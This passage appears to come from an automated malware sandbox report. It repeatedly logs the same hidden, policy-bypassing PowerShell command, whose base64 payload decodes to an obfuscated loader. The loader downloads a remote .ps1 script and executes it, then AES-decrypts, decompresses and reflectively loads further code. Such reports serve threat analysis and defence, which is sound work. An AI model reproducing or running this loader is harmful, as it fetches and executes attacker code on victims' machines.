S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkN